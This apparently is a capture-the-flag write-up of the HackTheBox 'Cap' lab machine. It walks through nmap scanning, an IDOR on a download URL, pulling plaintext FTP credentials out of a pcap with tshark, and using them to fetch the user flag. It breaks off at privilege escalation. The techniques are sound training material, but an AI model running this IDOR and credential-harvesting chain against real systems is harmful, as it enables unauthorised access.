Cap is an easy-rated Linux machine from HackTheBox created by InfoSecJack. In the current post, my IP is 10.10.14.59, and the target’s IP is 10.129.252.36.
This machine runs an HTTP server with an open site with downloadable files with captured non-encrypted traffic. The improper control of this information results in Insecure Direct Object Reference (IDOR) by just changing a parameter at the URL, giving access to another user's capture with credentials inside. Then, for Privilege Scalation, there is an exploitable Linux capability.
Gathering Information
First, we are going to start with checking if the machine is alive, then do the classic reconnaissance to get some general information about the target.
$nmap-sCV-p21,22,8010.129.252.36-oNWebScanNmapscanreportfor10.129.252.36Hostisup (0.18s latency).PORTSTATESERVICEVERSION21/tcpopenftpvsftpd3.0.322/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.2 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|3072fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)|25696:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)|_2563f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)80/tcpopenhttpgunicorn|_http-title:SecurityDashboard|fingerprint-strings:|FourOhFourRequest:|HTTP/1.0404NOTFOUND|Server:gunicorn|Date:Mon,22May202319:25:10GMT|Connection:close|Content-Type:text/html; charset=utf-8|Content-Length:232|<!DOCTYPEHTMLPUBLIC"-//W3C//DTD HTML 3.2 Final//EN">|<title>404NotFound</title>|<h1>NotFound</h1>| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|GetRequest:|HTTP/1.0200OK|Server:gunicorn<...>
Ubuntu and http with gunicorn server, information worth to save.
Now that we have the basic information, we have to try with the generic tests, first with the FTP port
Local Terminal
$ftp10.129.252.36# user: anonymous pass: Connectedto10.129.252.36.220 (vsFTPd 3.0.3)Name (10.129.252.36:robertoalfaro): anonymous331Pleasespecifythepassword.Password:530Loginincorrect.ftp:Loginfailed# Nothing here for now
Browser: http://10.129.252.36
Security Snapshot looks like an interesting site, you will be at http://10.129.252.36/data/1, there you can download a pcap file to analyze with Wireshark or other tool.
I assume that in the file should be information about the FTP server, that filter will be applied.
There is nothing here, but that site in particular is giving us a lot of information, a good option is to change the parameter of the URL and analyze the new file.
$tshark-r0.pcap"ftp"2>/dev/null342.626895192.168.196.16→192.168.196.1FTP76Response:220 (vsFTPd 3.0.3)364.126500192.168.196.1→192.168.196.16FTP69Request:USERnathan384.126630192.168.196.16→192.168.196.1FTP90Response:331Pleasespecifythepassword.405.424998192.168.196.1→192.168.196.16FTP78Request:PASSBuck3tH4TF0RM3!425.432387192.168.196.16→192.168.196.1FTP79Response:230Loginsuccessful.435.432801192.168.196.1→192.168.196.16FTP62Request:SYST455.432937192.168.196.16→192.168.196.1FTP75Response:215UNIXType:L8476.309628192.168.196.1→192.168.196.16FTP84Request:PORT192,168,196,1,212,140496.309874192.168.196.16→192.168.196.1FTP107Response:200PORTcommandsuccessful.ConsiderusingPASV.506.310514192.168.196.1→192.168.196.16FTP62Request:LIST516.311053192.168.196.16→192.168.196.1FTP95Response:150Herecomesthedirectorylisting.526.311479192.168.196.16→192.168.196.1FTP80Response:226DirectorysendOK.547.380771192.168.196.1→192.168.196.16FTP84Request:PORT192,168,196,1,212,141557.380998192.168.196.16→192.168.196.1FTP107Response:200PORTcommandsuccessful.ConsiderusingPASV.567.381554192.168.196.1→192.168.196.16FTP66Request:LIST-al577.382165192.168.196.16→192.168.196.1FTP95Response:150Herecomesthedirectorylisting.587.382504192.168.196.16→192.168.196.1FTP80Response:226DirectorysendOK.6028.031068192.168.196.1→192.168.196.16FTP64Request:TYPEI6128.031221192.168.196.16→192.168.196.1FTP87Response:200SwitchingtoBinarymode.6228.031547192.168.196.1→192.168.196.16FTP84Request:PORT192,168,196,1,212,1436328.031688192.168.196.16→192.168.196.1FTP107Response:200PORTcommandsuccessful.ConsiderusingPASV.6428.031932192.168.196.1→192.168.196.16FTP72Request:RETRnotes.txt6528.032072192.168.196.16→192.168.196.1FTP82Response:550Failedtoopenfile.6731.127551192.168.196.1→192.168.196.16FTP62Request:QUIT6831.127652192.168.196.16→192.168.196.1FTP70Response:221Goodbye.# If you want to see the information more clear, you can use:$tshark-r0.pcap-Y"ftp"-Tjson2>/dev/null#To check the desired field$tshark-r0.pcap-Y"ftp"-Tfields-etcp.payload2>/dev/null|xxd-ps-r
And we found credentials in that file, now we should be able to connect to the FTP server {user: nathan // password: Buck3tH4TF0RM3!}
Local Terminal
$ftp10.129.252.36Connectedto10.129.252.36.220 (vsFTPd 3.0.3)Name (10.129.252.36:robertoalfaro): nathan331Pleasespecifythepassword.Password:230Loginsuccessful.RemotesystemtypeisUNIX.Usingbinarymodetotransferfiles.$ls229EnteringExtendedPassiveMode (|||28192|)150Herecomesthedirectorylisting.-r--------11001100133May2216:12user.txt#Just one file226DirectorysendOK.$getuser.txt100% |*********************************************************************************************************| 33 20.89 KiB/s 00:00 ETA
226Transfercomplete.$exit
Inside the FTP there was only a file called user.txt, has the name of the flag, but by the location looks like a fake flag.
Local Terminal
$catuser.txtb95a4a7339ef9a54ec29b489b69269d2
By bad, it was the flag... that's nice. So we got the flag without properly exploiting something.
Privileges Escalation?
Well, we have some credentials, what if we use then at the SSH too?
